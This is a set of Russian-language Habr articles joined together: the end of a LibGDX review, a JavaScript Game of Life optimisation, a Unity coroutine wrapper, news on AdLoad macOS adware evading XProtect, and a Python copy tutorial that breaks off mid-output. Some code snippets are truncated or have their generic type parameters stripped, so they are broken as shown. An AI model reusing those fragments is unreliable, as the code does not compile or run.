По коду, наверное, все. Можно еще рассказать про `listener`, типа перетаскивания или нажатий. Но не хочется скатываться в детали, характерные только для моих игр. Задавайте вопросы в комментах, с удовольствием покажу как у меня устроен тот или иной аспект!
В последнее время, я работаю в жанре point-and-click. Наверное, называть квестом мою игру будет слишком громко, скорее набор головоломок в 2D. Вот так выглядит типичный геймплей (поэтому, рассказать что-то про физику или 3D в LibGDX - не смогу, к сожалению).
Заключение
----------
В заключение, приведу субъективные плюсы и минусы LibGDX как движка для разработки видеоигр.
Плюсы:
* Бесплатный (безусловно)
* Небольшой размер билда (это не очень касается ПК, где нужно добавлять JRE в сборку)
* Java, разработка в Android Studio
* Простота и гибкость, можно влезть в любой аспект игры и сделать так как нужно именно вам. Вы не связаны реализацией которая навязывается, например, конструкторами
* Для Android не нужно плагинов, есть доступ ко всем возможностям Android SDK
Минусы:
* Нет визуального редактора. Я знаю про VisEditor, но лично у меня он не прижился, не особо удобный, да и редактор - это не только размещение объектов на сцене. Должна быть какая-нибудь система сообщений для последующего их взаимодействия
* Базовые классы движка совсем базовые, для многих вещей нужно делать свою реализацию
* Сложная реализация платформо-зависимых функций на iOS, готовых решений катастрофически не хватает. По факту, в моих играх на iOS, почти нет интеграции с экосистемой. Внутриигровые покупки реализованы в движке, остальное - головная боль
* Нет (?) порта на консоли. Для меня этот момент не особо актуален, так высоко я не летаю :) | https://habr.com/ru/post/578884/ | null | ru | null |
# Пишем и оптимизируем Жизнь Конуэя на JS
Обновляя недавно дизайн своего хомяка, подумал – а не сделать ли мне какую-нибудь необычную страницу с 404-й ошибкой? Поскольку в детстве я был впечатлен [Жизнью Конуэя](http://ru.wikipedia.org/wiki/%D0%96%D0%B8%D0%B7%D0%BD%D1%8C_%28%D0%B8%D0%B3%D1%80%D0%B0%29) (как возможно и многие из читателей), решил её на JS и реализовать.
Казалось бы, что сложного в Жизни: если у занятой клетки 2 или 3 соседа – она остается, если у пустой ровно 3 – рождается? В этой статье я расскажу о своей оптимизации алгоритма и отрисовки на canvas-е, некоторых не очевидных моментах целочисленной/бинарной арифметики в JavaScript.
Забегая вперед, конечный результат можно [увидеть тут](http://3.14.by/404comingfromHabrahabr), исходники видны там же (да еще и по лицензии CC BY).
### Идем простым путем
```
for(y=1;y
```
Оно конечно работает, но проблема одна — на i7-3820@4.3Ghz и Firefox 12 — этот код успевает посчитать и нарисовать всего 8.5 FPS (кадра в секунду). Быстрый тест показывает, что тормозит именно отрисовка.
### Оптимизация отрисовки
Будем рисовать пиксель только в том случае, если он изменился — 67 FPS.
Т.к. переключение текущего цвета в контексте на каждую клетку — слишком тяжелая операция, будем рисовать в 2 прохода, сначала все рожденные клетки, потом все умершие: 80 кадров в секунду. Поскольку отображается у меня не все рассчитываемое поле (чтобы не было видно «глюков» от столкновения с концем света), не пытаюсь рисовать невидимые клетки на экране — 125 FPS.
Отрисовка в off-screen canvas на практике не дала никакого ускорения, наоборот было небольшое падение из-за копирования в видимую canvas.
Остается только запускать отрисовку кадра не из setTimeout а requestAnimationFrame — чтобы не рисовать анимацию, когда пользователь на неё не смотрит (например если страница в какой-то фоновой вкладке браузера)
Видимо придется переходить к оптимизации алгоритма…
### Существующие методы оптимизации
Первенство по скорости на около-бесконечных полях держит [hashlife](http://en.wikipedia.org/wiki/Hashlife) — грубо говоря поле разбивается на quad-tree, и одинаковые блоки не рассчитываются, а берется сразу результат из кеша. Проблема тут в том, что «раскочегаривается» такой алгоритм медленно, памяти жрет кучу, и для нашего поля (256\*192) — это как электронным микроскопом гвозди забивать.
Другая группа алгоритмов работает на исключении из расчетов блоков поля где пусто (или нет изменений). Но в моём случае поле почти всегда плотно заполнено активностью, так что прирост скорости будет, но не фантастический.
Еще один подход — хранить очередь изменяющихся клеток, и обновлять в массиве сразу сумму. Т.е. вместо того чтобы делать X\*Y\*8 операций, мы делаем только (кол-во изменившихся клеток на предыдущем шаге)\*8. Тут конечно есть существенные накладные расходы на работу с очередью, но даже для плотного поля ускорение в 3-5 раз получить легко (для больших слабозаполненных полей — это достаточно хороший алгоритм).
### Но я пойду своим путем
Основная идея — поскольку в JS массивы состоят из объектов, доступ к ним относительно медленный. Ну и вычисление нового состояния клетки через условие — это всегда плохо для процессора из-за непредсказанных ветвлений. Потому, буду минимизировать количество обращений к массиву и переписывать код без ветвлений.
Буду хранить поле в битовом виде (по 32 значения на элемент массива). 32-х битные числа в JS хранятся и интерпретируются именно как Signed(!) Integer, но если мы хоть на еденичку вылазим за 32-бита — можем получить вещественное число. Другая интересная особенность — в JS есть 2 команды сдвига вправо, >> и >>>. >>> отличается тем, что рассматривает число как unsigned (и на пустое место «вдвигает» нули, а не знаковый бит). Именно такой сдвиг нам и нужно будет использовать при работе с числами, где у нас используются все 32 бита.
Теперь когда мы идем по строчке слева на право — мы можем получить сразу значение 3-х последовательных ячеек: value&7. Чтобы посчитать сумму этих ячеек — сделаем lookup table на 8 возможных комбинаций, и чтобы не обращяться к медленному массиву даже один раз — запихнем его в одно число:
```
// Bitcounting trick:
// IN CNT CNTBIN
// 000 0 00
// 001 1 01
// 010 1 01
// 011 2 10
// 100 1 01
// 101 2 10
// 110 2 10
// 111 3 11
// Magiсk lookup number = 0b00000000000000001110100110010100
// Least significant ^
// in octal 0164624
```
Теперь мы можем посчитать сумму сразу 3-х клеток без дополнительных обращений к массиву:
```
sum = (0164624 >> ((value& 7)<<1)) & 3;
```
Аналогичным образом мы можем посчитать сумму на верхней и нижней линии. Чтобы исключить саму клетку вокруг которой мы считаем сумму — в средней линии мы делаем &5 вместо &7. Таким образом мы получили 3 суммы с 3-х строк без обращений к массиву.
Далее нам нужно получить новое состояние клетки — снова сделаем lookup table, 3 бита уйдут на сумму (максимум 8), 1 бит — на старое состояние:
```
/*state_lookup =
[
//Old cell state
//0 1
0 , 0 // 0 SUM
, 0 , 0 // 1
, 0 , 1 // 2
, 1 , 1 // 3
, 0 , 0 // 4
, 0 , 0 // 5
, 0 , 0 // 6
, 0 , 0 // 7
, 0 , 0 // 8
];*/
state_lookup = 0340; //0b0000000011100000;
```
Теперь получить новое состояние клетки без ветвлений мы можем так:
```
(0340 >>> ((sum<<1) | (v2&1)))&1
```
Осталось только подумать, как можно расчитать все 32 клетки — ведь для этого нам нужно иметь доступ дополнительно к одной клетке слева и справа. Придется разбивать работу на 2 части, по 16 клеток, и загружать дополнительно как минимум по 1-й клетке слева и справа (вот тут-то нам и понадобится бесзнаковый сдвиг справо, чтобы не получить лишние еденицы в старших разрядах при сдвиге отрицательных чисел). После расчета обоих 16-клеточных половинок, готовое 32-х битное число записывается в массив, и нужно отрисовывать изменившиеся клетки.
Родившиеся клетки мы можем получить как:
```
need_draw = (new_state ^ data[readpage][y ][x]) & new_state;
```
А умершие:
```
need_draw = (new_state ^ data[readpage][y ][x]) & ~new_state;
```
Если need\_draw==0, то рисовать ничего не нужно, иначе — пробегаем по 32-м битам и рисуем необходимые изменения.
Конечный код — видно во View Source, не буду тут загромождать.
Могу еще заметить, что счастливые писатели нативных приложений могут иметь lookup table из 512 однобитовых значений — получать новое состояние из 9-бит старого окружения напрямую. lookup table занял бы 64 байта, и аккурат влез бы в строчку L1 кеша… Эх, мечты, мечты…
### Результаты
Конечная скорость меня полностью устраивает, даже на старых компьютерах есть определенных запас по производительности (код анимации пытается рисовать не более 30 кадров в секунду).
| | | |
| --- | --- | --- |
| Браузер | FPS c отрисовкой | FPS без отрисовки |
| Firefox 12 | 473 | 1545 |
| IE 9 | 209 | 451 |
| Chrome 19 | 274 | 1210 |
Что примечательно, при отключении аппаратного ускорения в Firefox, скорость с отрисовкой падает в ~1.5 раза. Но в целом, радует, что FireFox подтянулся до планки производительности, установленной Chrome.
Протестировать себя можно тут: [с отрисовкой](http://3.14.by/files/js_benchmark_draw.html), [без отрисовки](http://3.14.by/files/js_benchmark_nodraw.html).
Результат в законченном виде [видно тут](http://3.14.by/404comingfromHabrahabr). Кстати, если увидите ненароком у меня на сайте какие косяки — смело напишите об этом на [3@14.by](mailto:3@14.by), лучше я узнаю о них от вас…
Есть идеи по дальнейшей оптимизации и о жизни в целом — в комменты!  | https://habr.com/ru/post/144237/ | null | ru | null |
# Как сделать корутины в Unity немного удобнее
Каждый разработчик находит свои преимущества и недостатки использования корутин в Unity. И сам решает в каких сценариях их применить, а в каких отдать предпочтение альтернативам.
В повседневной практике я достаточно часто использую корутины для различных видов задач. Однажды, я понял, что именно меня в них раздражает и отторгает многих новичков.
Кошмарный интерфейс
-------------------
Движок предоставляет всего пару методов и несколько их перегрузок для работы с корутинами:
**Запуск** ([docs](https://docs.unity3d.com/ScriptReference/MonoBehaviour.StartCoroutine.html))
* `StartCoroutine(string name, object value = null)`
* `StartCoroutine(IEnumerator routine)`
**Остановка** ([docs](https://docs.unity3d.com/ScriptReference/MonoBehaviour.StopCoroutine.html))
* `StopCoroutine(string methodName)`
* `StopCoroutine(IEnumerator routine)`
* `StopCoroutine(Coroutine routine)`
Перегрузки со строковыми параметрами (не смотря на их обманчивое удобство) можно сразу ~~отправить на помойку~~ забыть как минимум по трем причинам.
* Явное использование строковых имен методов усложнит будущий анализ кода, дебаг и прочее.
* Согласно документации, строковые перегрузки выполняются дольше и позволяют передать только один дополнительный параметр.
* На моей практике, достаточно часто получалось так, что при вызове строковой перегрузки `StopCoroutine` не происходило ровным счетом ничего. Корутина продолжала выполняться.
С одной стороны, предоставленных методов вполне достаточно, чтобы покрыть базовые потребности. Но со временем я начал замечать, что при активном использовании приходится писать большое количество шаблонного кода — это утомляет, и ухудшает его читаемость.
Ближе к сути
------------
В этой статье я хочу описать небольшую обертку, которую я применяю уже давно. Благодаря ей, с мыслями о корутинах у меня в голове больше не возникают фрагменты шаблонного кода, с которым приходилось вокруг них плясать. Кроме этого, всей команде стало проще читать и понимать компоненты, где используются корутины.
Допустим, перед нами стоит следующая задача — написать компонент, который позволяет перемещать объект к заданной точке.
В данным момент не играет роли, каким именно методом будет выполняться передвижение и в каких координатах. Мной будет выбран лишь один из множества вариантов — это интерполяция и глобальные координаты.
Обратите внимание, крайне не рекомендуется перемещать объект путем изменения его координат «в лоб», то есть конструкцией `transform.position = newPosition`, если с ним используется компонент `RigidBody` (тем более в методе `Update`)([docs](https://docs.unity3d.com/ScriptReference/Rigidbody.html)).
### Стандартная реализация
Предлагаю следующий вариант реализации необходимого компонента:
```
using IEnumerator = System.Collections.IEnumerator;
using UnityEngine;
public sealed class MoveToPoint : MonoBehaviour
{
public Vector3 target;
[Space]
public float speed;
public float threshold;
public void Move()
{
if (moveRoutine == null)
StartCoroutine(MoveRoutine());
}
private IEnumerator MoveRoutine()
{
while (Vector3.Distance(transform.position, target) > threshold)
{
transform.position = Vector3.Lerp(transform.position, target, speed * Time.deltaTime);
yield return null;
}
}
}
```
**Немного о коде**В методе `Move` очень важно запускать корутину только в тому случае, когда она еще еще не запущена. Иначе их можно будет запустить сколько угодно и каждая из них будет перемещать объект.
`threshold` — допуск. Другими словами, расстояние к точке, приблизившись на которое мы будем считать, что достигли цели.
**Для чего это нужно**
Учитывая, что все компоненты (`x`, `y`, `z`) структуры `Vector3` имеют тип `float`, использовать результат проверки на равенство расстояния к цели и допуска в качестве условия цикла — [плохая затея](https://docs.microsoft.com/en-us/dotnet/api/system.double?view=netframework-4.7.2#testing-for-equality).
Мы проверяем расстояние к цели на больше/меньше, что позволяет нам избежать данной проблемы.
Также, при желании можно применить метод `Mathf.Approximately`([docs](https://docs.unity3d.com/ScriptReference/Mathf.Approximately.html)) для *примерной* проверки на равенство. Стоит заметить, что при некоторых способах перемещения скорость может оказаться достаточно большой для того, чтобы объект за один кадр «перепрыгнул» цель. Тогда цикл никогда не завершится. Например, если вы используете метод `Vector3.MoveTowards`.
На сколько мне известно, в движке Unity для структуры `Vector3` оператор `==` уже переопределен таким образом, что для покомпонентной проверки на равенство вызывается `Mathf.Approximately`.
Пока что это всё, наш компонент достаточно прост. И в текущий момент никаких проблем нет. Но, что это за компонент, позволяющий двигать объект к точке, но не предоставляющий возможность его остановить. Давайте исправим эту несправедливость.
Так как мы с вами решили не переходить на сторону зла, и не использовать перегрузки со строковыми параметрами, теперь нам нужно сохранить где-то ссылку на запущенную корутину. Иначе как потом остановить её?
Добавим поле:
```
private Coroutine moveRoutine;
```
Подправим `Move`:
```
public void Move()
{
if (moveRoutine == null)
moveRoutine = StartCoroutine(MoveRoutine());
}
```
Добавим метод остановки движения:
```
public void Stop()
{
if (moveRoutine != null)
StopCoroutine(moveRoutine);
}
```
**Весь код целиком**
```
using IEnumerator = System.Collections.IEnumerator;
using UnityEngine;
public sealed class MoveToPoint : MonoBehaviour
{
public Vector3 target;
[Space]
public float speed;
public float threshold;
private Coroutine moveRoutine;
public void Move()
{
if (moveRoutine == null)
moveRoutine = StartCoroutine(MoveRoutine());
}
public void Stop()
{
if (moveRoutine != null)
StopCoroutine(moveRoutine);
}
private IEnumerator MoveRoutine()
{
while (Vector3.Distance(transform.position, target) > threshold)
{
transform.position = Vector3.Lerp(transform.position, target, speed * Time.deltaTime);
yield return null;
}
}
}
```
Совсем другое дело! ~~Хоть к ране прикладывай.~~
Итак. Мы имеем небольшой компонент, который выполняет поставленную задачу. В чем же моё негодование?
### Проблемы и их решение
Со временем, проект растёт, а вместе с ним и количество компонентов, в том числе использующих корутины. И с каждым разом мне всё больше не дают покоя вот какие вещи:
* Постоянные «бутербродные» вызовы
```
StartCoroutine(MoveRoutine());
```
```
StopCoroutine(moveRoutine);
```
Один их вид заставляет мой глаз дергаться, да и читать такой код сомнительное удовольствие (согласен, бывает и хуже). Но ведь куда приятнее и нагляднее было бы иметь что-нибудь в таком роде:
```
moveRoutine.Start();
```
```
moveRoutine.Stop();
```
* При каждом вызове `StartCoroutine` нужно не забыть сохранить возвращаемое значение:
```
moveRoutine = StartCoroutine(MoveRoutine());
```
Иначе, по причине отсутствия ссылки на корутину, вы попросту не сможете ее остановить.
* Постоянные проверки:
```
if (moveRoutine == null)
```
```
if (moveRoutine != null)
```
* И еще одна злая вещь, о которой нужно всегда помнить (и которую я ~~снова забыл~~ специально упустил). В самом конце корутины и пред каждым выходом из нее (например, при помощи `yield break`) необходимо обнулить значение поля.
```
moveRoutine = null;
```
Если забудете, то получите одноразовую корутину. После первого запуска в `moveRoutine` так и останется ссылка на корутину, и новую запустить уже не выйдет.
Точно так же нужно сделать и в случае принудительной остановки:
```
public void Stop()
{
if (moveRoutine != null)
{
StopCoroutine(moveRoutine);
moveRoutine = null;
}
}
```
**Код с учетом всех правок**
```
public sealed class MoveToPoint : MonoBehaviour
{
public Vector3 target;
[Space]
public float speed;
public float threshold;
private Coroutine moveRoutine;
public void Move()
{
moveRoutine = StartCoroutine(MoveRoutine());
}
public void Stop()
{
if (moveRoutine != null)
{
StopCoroutine(moveRoutine);
moveRoutine = null;
}
}
private IEnumerator MoveRoutine()
{
while (Vector3.Distance(transform.position, target) > threshold)
{
transform.localPosition = Vector3.Lerp(transform.position, target, speed * Time.deltaTime);
yield return null;
}
moveRoutine = null;
}
}
```
В один прекрасный момент, очень хочется единожды куда-то вынести вот этот весь маскарад, а для себя оставить только нужные методы: `Start`, `Stop` и еще пару событий и свойств.
**Давайте же наконец-то это сделаем!**
```
using System.Collections;
using System;
using UnityEngine;
public sealed class CoroutineObject
{
public MonoBehaviour Owner { get; private set; }
public Coroutine Coroutine { get; private set; }
public Func Routine { get; private set; }
public bool IsProcessing => Coroutine != null;
public CoroutineObject(MonoBehaviour owner, Func routine)
{
Owner = owner;
Routine = routine;
}
private IEnumerator Process()
{
yield return Routine.Invoke();
Coroutine = null;
}
public void Start()
{
Stop();
Coroutine = Owner.StartCoroutine(Process());
}
public void Stop()
{
if (IsProcessing)
{
Owner.StopCoroutine(Coroutine);
Coroutine = null;
}
}
}
```
**Разбор полетов**`Owner` — ссылка на экземпляр `MonoBehaviour`, к которому будет привязана корутина. Как известно, она должна выполняться в контексте конкретного компонента, так как именно ему принадлежат методы `StartCoroutine` и `StopCoroutine`. Соответственно, нам нужна ссылка на компонент, который будет владельцем корутины.
`Coroutine` — аналог поля `moveRoutine` в компоненте `MoveToPoint`, содержит ссылку на текущую корутину.
`Routine` — делегат, с которым будет сообщен метод, выполняющий роль корутины.
`Process()` — небольшая обертка над основным методом `Routine`. Нужен для того, чтобы иметь возможность проследить, когда же завершится выполнение корутины, сбросить ссылку на неё и выполнить в этот момент другой код (если понадобится).
`IsProcessing` — позволяет узнать, выполняется ли корутина в текущий момент.
Таким образом мы избавляемся от большого количества головной боли, а наш компонент приобретает совсем другой вид:
```
using IEnumerator = System.Collections;
using UnityEngine;
public sealed class MoveToPoint : MonoBehaviour
{
public Vector3 target;
[Space]
public float speed;
public float threshold;
private CoroutineObject moveRoutine;
private void Awake()
{
moveRoutine = new CoroutineObject(this, MoveRoutine);
}
public void Move() => moveRoutine.Start();
public void Stop() => moveRoutine.Stop();
private IEnumerator MoveRoutine()
{
while (Vector3.Distance(transform.position, target) > threshold)
{
transform.position = Vector3.Lerp(transform.position, target, speed * Time.deltaTime);
yield return null;
}
}
}
```
Осталась лишь сама корутина и несколько строчек кода для работы с ней. Значительно лучше.
Допустим, пришла новая задача — нужно добавить возможность выполнить любой код после того, как объект достиг цели.
В изначальном варианте нам пришлось бы в каждую корутину добавлять дополнительный параметр-делегат, который можно дернуть по ее завершении.
```
private IEnumerator MoveRoutine(System.Action callback)
{
while (Vector3.Distance(transform.position, target) > threshold)
{
transform.position = Vector3.Lerp(transform.position, target, speed * Time.deltaTime);
yield return null;
}
moveRoutine = null
callback?.Invoke();
}
```
И вызывать следующим образом:
```
moveRoutine = StartCoroutine(moveRoutine(CallbackHandler));
private void CallbackHandler()
{
// do something
}
```
А если еще в качестве обработчика будет какая-нибудь лямбда, то смотрится еще страшнее.
С нашей же оберткой достаточно лишь один раз добавить в нее это событие.
```
public Action Finish;
```
```
private IEnumerator Process()
{
yield return Routine.Invoke();
Coroutine = null;
Finish?.Invoke();
}
```
А затем, при необходимости, подписаться.
```
moveRoutine.Finished += OnFinish;
private void OnFinish()
{
// do something
}
```
Полагаю, вы уже обратили внимание на то, что текущий вариант обертки предоставляет возможность работать только с корутинами без параметров. Поэтому мы можем написать обобщенную обертку для корутин с одним параметром. Остальные делаются по аналогии.
Но, по хорошему, было бы неплохо сначала вынести код, который будет одинаковым для всех оберток, в какой-то базовый класс, чтобы не писать одно и то же. Мы ведь с этим и боремся.
В него уберем:
* Свойства `Owner`, `Coroutine`, `IsProcessing`
* Событие `Finished`
```
using Action = System.Action;
using UnityEngine;
public abstract class CoroutineObjectBase
{
public MonoBehaviour Owner { get; protected set; }
public Coroutine Coroutine { get; protected set; }
public bool IsProcessing => Coroutine != null;
public abstract event Action Finished;
}
```
**Обёртка без параметров после рефакторинга**
```
using System;
using System.Collections;
using UnityEngine;
public sealed class CoroutineObject : CoroutineObjectBase
{
public Func Routine { get; private set; }
public override event Action Finished;
public CoroutineObject(MonoBehaviour owner, Func routine)
{
Owner = owner;
Routine = routine;
}
private IEnumerator Process()
{
yield return Routine.Invoke();
Coroutine = null;
Finished?.Invoke();
}
public void Start()
{
Stop();
Coroutine = Owner.StartCoroutine(Process());
}
public void Stop()
{
if(IsProcessing)
{
Owner.StopCoroutine(Coroutine);
Coroutine = null;
}
}
}
```
И теперь, собственно говоря, обертка для корутин с одним параметром:
```
using System;
using System.Collections;
using UnityEngine;
public sealed class CoroutineObject : CoroutineObjectBase
{
public Func Routine { get; private set; }
public override event Action Finished;
public CoroutineObject(MonoBehaviour owner, Func routine)
{
Owner = owner;
Routine = routine;
}
private IEnumerator Process(T arg)
{
yield return Routine.Invoke(arg);
Coroutine = null;
Finished?.Invoke();
}
public void Start(T arg)
{
Stop();
Coroutine = Owner.StartCoroutine(Process(arg));
}
public void Stop()
{
if(IsProcessing)
{
Owner.StopCoroutine(Coroutine);
Coroutine = null;
}
}
}
```
Как видим, код практически такой же. Лишь в некоторых местах добавились фрагменты, зависящие от количества аргументов.
Допустим, нас попросили обновить компонент MoveToPoint таким образом, чтобы точку можно было задавать не через окно `Inspector` в редакторе, а кодом при вызове метода `Move`.
```
using IEnumerator = System.Collections.IEnumerator;
using UnityEngine;
public sealed class MoveToPoint : MonoBehaviour
{
public float speed;
public float threshold;
private CoroutineObject moveRoutine;
public bool IsMoving => moveRoutine.IsProcessing;
private void Awake()
{
moveRoutine = new CoroutineObject(this, MoveRoutine);
}
public void Move(Vector3 target) => moveRoutine.Start(target);
public void Stop() => moveRoutine.Stop();
private IEnumerator MoveRoutine(Vector3 target)
{
while (Vector3.Distance(transform.position, target) > threshold)
{
transform.localPosition = Vector3.Lerp(transform.position, target, speed);
yield return null;
}
}
}
```
Есть множество вариантов, как можно еще больше расширить функциональность этой обертки: добавить запуск с задержкой, события с параметрами, возможное отслеживание прогресса корутины и прочее. Но я предлагаю на этом этапе остановиться.
Цель данной статьи — желание поделиться насущными проблемами, с которыми я столкнулся и предложить вариант их решения, а не покрыть возможные потребности всех разработчиков.
Надеюсь, как новички, так и опытные товарищи почерпнут пользу из моего опыта. Возможно, поделятся своим в комментариях или укажут на ошибки, которые я мог допустить. | https://habr.com/ru/post/442622/ | null | ru | null |
# Новая разновидность AdLoad атакует системы macOS в обход защиты XProtect
[](https://habr.com/ru/company/ruvds/news/t/573862/)
Новая волна атак с применением известного семейства рекламного ПО для macOS в 2021 году разрослась до использования более 150 уникальных образцов. При этом некоторым из них удается проскользнуть мимо встроенного в устройства Apple средства обнаружения вредоносных программ и даже получить подпись службы подтверждения подлинности.
“AdLoad” является одним из распространенных троянов, выполняющих загрузку adware- и bundleware-программ, который впервые использовался для атаки систем macOS еще в 2017 году.
Этот троян способен создавать в целевой системе бэкдор для скачивания и установки рекламного ПО или потенциально нежелательных программ. Помимо этого, AdLoad может собирать и передавать злоумышленникам информацию о зараженных машинах.
> «Новая разновидность этого трояна продолжает донимать пользователей Mac, которые в качестве защиты от вредоносного ПО полагаются исключительно на встроенную систему безопасности XProtect, — [сообщил](https://labs.sentinelone.com/massive-new-adload-campaign-goes-entirely-undetected-by-apples-xprotect/) Фил Стоукс, исследователь киберугроз из компании SentinelOne. – Несмотря на то, что сейчас XProtect распознает 11 различных сигнатур AdLoad, использованная в новой кампании разновидность не была обнаружена ни одним из соответствующих правил».
Версия AdLoad 2021 года подразумевает закрепление в системе и опирается на имена исполняемых файлов, использующие другой шаблон расширения (`.system` или `.service`). Это позволяет трояну обходить встроенную защиту Apple, внедряя постоянного агента, который активирует цепочку атаки, развертывая вредоносных дропперов под видом фейкового приложения *Player.app*.
Более того, дропперы [получают валидную подпись](https://blog.confiant.com/osx-hydromac-a-new-macos-malware-leaked-from-a-flashcards-app-2af28f1caa9e), используя сертификаты разработчика, что вынуждает Apple аннулировать эти сертификаты «в течение нескольких дней (а иногда даже часов) с момента обнаружения образцов трояна на VirusTotal. Таким образом компания через проверку с помощью Gatekeeper и OCSP предлагает запоздалую и лишь временную защиту от будущих заражений именно этими подписанными образцами,» – сказал Стоукс.
В SentinelOne заявили, что обнаруживают новые образцы со свежими подписями раз в несколько дней, а порой и часов, образно сравнивая это с отрубанием голов регенерирующей Гидры. Как сообщается, новые образцы AdLoad появились в начале 2020 года. Затем в первой половине 2021 последовало их регулярное обновление, а в течение июля и в начале августа был зафиксирован особый скачок активности злоумышленников.
AdLoad входит в состав семейств вредоносного ПО, наряду со Shlayer, известным своей возможностью обходить XProtect и заражать устройства Mac другими вредоносными программами. В апреле 2021 года Apple устранили в своем сервисе Gatekeeper уязвимость нулевого дня ([CVE-2021-30657](https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html)), которую активно эксплуатировали операторы Shlayer для развертывания на зараженных системах неподтвержденного ПО.
> «Вирусные программы на macOS являются проблемой, с которой производители устройств никак не могут совладать. Тот факт, что сотни уникальных образцов известного рекламного ПО циркулируют уже не менее 10 месяцев и до сих пор не обнаруживаются встроенным в системы Apple сканером, говорит о необходимости добавления в устройства Mac дополнительных средств защиты». – считает Стоукс.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=brighttranslate&utm_content=Novaya_raznovidnost'_AdLoad_atakuet_sistemy'_macOS_v_obxod_zashhity'_XProtect) | https://habr.com/ru/post/573862/ | null | ru | null |
# Работа с поверхностными и глубокими копиями в Python
[](https://habr.com/ru/company/ruvds/blog/702486/)
В этой статье объясняется, как делать копии списков Python, массивов NumPy и датафреймов Pandas при помощи операций получения срезов, списочного индексирования (fancy indexing) и логического (boolean indexing). Эти операции очень часто используются при анализе данных и должны рассматриваться всерьёз, поскольку ошибочные предположения могут привести к падению быстродействия или неожиданным результатам.
Python кажется простым, но всякий раз, возвращаясь к его азам, ты находишь новые для освоения вещи. Здесь на ум приходит известное изречение Эйнштейна:
> «Чем больше я узнаю, тем больше понимаю, как много я ещё не знаю».
Вступление
----------
Я часто задаюсь вопросом, действительно ли я знаю тот или иной предмет в совершенстве. Получив кандидатскую степень и проработав часть жизни исследователем, я могу с уверенностью сказать, что утвердительного ответа на этот вопрос не бывает. Я уже давно работаю с Python и осознаю ценность этого инструмента для анализа данных. С его помощью я создавал множество эффективных решений для реальных задач. И всё же каждый раз, возвращаясь к основам этого языка, я нахожу в нём нечто новое для освоения или вижу иной ракурс для восприятия уже привычных вещей.
Это осознание зачастую возникает во время чтения вводной части книги, которая намеренно содержит простой материал, подготавливая читателя к основной сути. Приведённая фраза Эйнштейна звучит у меня в сознании, когда в очередной раз после использования интерпретатора Python, я задумываюсь, почему столь простые вещи открываются для меня только сейчас?
И текущая статья появилась вслед за одним из таких случаев. В ней я хочу объяснить, как списки Python, массивы NumPy и датафреймы Pandas создают представления или полноценные копии данных при получении срезов, а также множественном и логическом индексировании. В этой теме возникает некоторая путаница, поскольку термины «поверхностная копия» и «глубокая копия» не всегда означают одно и то же, а также неясно, когда дополнительная информация вроде метаданных массива NumPy и индексов Pandas копируется полноценно, а когда поверхностно.
Эта статья может не дать всех исчерпывающих ответов, но она обеспечит основу, которая позволит в случае сомнений дополнить инструкции из документации собственными вычислительными экспериментами.
Все примеры кода были подготовлены с использованием Python v3.8.10, Pandas v1.5.1 и NumPy v1.23.4.
Списки Python
-------------
В этом разделе мы проведём ряд экспериментов, чтобы понять принцип создания копий списков Python. Если вы будете проделывать аналогичные действия, то помните, что Python кэширует небольшие целые числа и строки, чтобы иметь возможность обращаться к уже имеющимся объектам, а не создавать каждый раз новые. Это так называемое интернирование является одной из оптимизаций CPython, которая при написании статьи использовалась в стандартном Python. Для избежания путаницы при поиске адресов объектов рекомендуется использовать разные строки и целые числа.
Некоторые читатели могут подумать, что списки в Python являются простой темой. Как бы не так. Давайте создадим такой список, который будет содержать целое число, другой список и вложенный список. Вдобавок к этому мы создадим вспомогательную функцию для вывода адресов различных элементов списка, которая, в целях сокращения, будет показывать только четыре последние цифры адреса.
```
def show_address(title, a, offset=0):
trim_ad = lambda ad: str(id(ad))[-4:]
print(f"{title.ljust(20, ' ')}: {trim_ad(a)} | {trim_ad(a[offset+0])} | "
f"{trim_ad(a[offset+1])} {trim_ad(a[offset+1][0])} | "
f"{trim_ad(a[offset+2])} {trim_ad(a[offset+2][0])} {trim_ad(a[offset+2][0][0])}")
# original list
a = ['1', ['2','3'], [['4','5'],['6','7']]]
show_address('a', a)
```
Вывод:
```
a : 4160 | 7728 | 9888 3376 | 3232 0848 2480
```
Очевидно, что при каждом выполнении адреса будут отличаться. В связи с этим мы сделаем так, чтобы массив `a` далее не изменялся. Ниже мы попробуем реплицировать этот массив разными способами, а именно с помощью простого присваивания другой переменной и глубокого копирования:
```
from copy import copy, deepcopy
attempts = {'new binding': a,
'shallow copy I': a[:],
'shallow copy II': list(a),
'shallow copy III': a.copy(),
'shallow copy IV': copy(a),
'deep copy': deepcopy(a)
}
for title, b in attempts.items():
show_address(title, b)
```
Вывод:
```
new binding : 4160 | 7728 | 9888 3376 | 3232 0848 2480
shallow copy I : 7072 | 7728 | 9888 3376 | 3232 0848 2480
shallow copy II : 9312 | 7728 | 9888 3376 | 3232 0848 2480
shallow copy III : 1488 | 7728 | 9888 3376 | 3232 0848 2480
shallow copy IV : 8128 | 7728 | 9888 3376 | 3232 0848 2480
deep copy : 0528 | 7728 | 6848 3376 | 0816 2960 2480
```
Первым делом нужно обратить внимание, что адрес списка (первый численный столбец) изменяется при каждой попытке, за исключением первой операции изменения привязки. Это говорит о том, что в ходе неё была сделана копия. Данный код реализует четыре разных способа создания поверхностной копии, подразумевающей изменение списка, при котором его элементы остаются прежними объектами. Если попробовать изменить немутабельный элемент такой неполной копии списка, исходный список останется нетронутым. При изменении же мутабельного элемента оригинальный список также меняется. Например:
```
a_demo = ['d1', ['d2', 'd3']]
print('a_demo (before) ->', a_demo)
a_demo_shallow_copy = a_demo[:]
a_demo_shallow_copy[0] = 'D1'
a_demo_shallow_copy[1][0] = 'D2'
print('a_demo (after) ->', a_demo)
print('a_demo_shallow_copy ->', a_demo_shallow_copy)
```
Вывод:
```
a_demo (before) -> ['d1', ['d2', 'd3']]
a_demo (after) -> ['d1', ['D2', 'd3']]
a_demo_shallow_copy -> ['D1', ['D2', 'd3']]
```
Это означает, что поверхностные копии могут привести к появлению побочных эффектов при наличии вложенных списков, а также при использовании других мутабельных элементов. В случае же глубокого копирования риск побочных проявлений отсутствует, что демонстрируется следующим кодом:
```
a_demo = ['d1', ['d2', 'd3']]
print('a_demo (before) ->', a_demo)
a_demo_deep_copy = deepcopy(a_demo)
a_demo_deep_copy[0] = 'D1'
a_demo_deep_copy[1][0] = 'D2'
print('a_demo (after) ->', a_demo)
print('a_demo_deep_copy ->', a_demo_deep_copy)
```
Вывод:
```
a_demo (before) -> ['d1', ['d2', 'd3']]
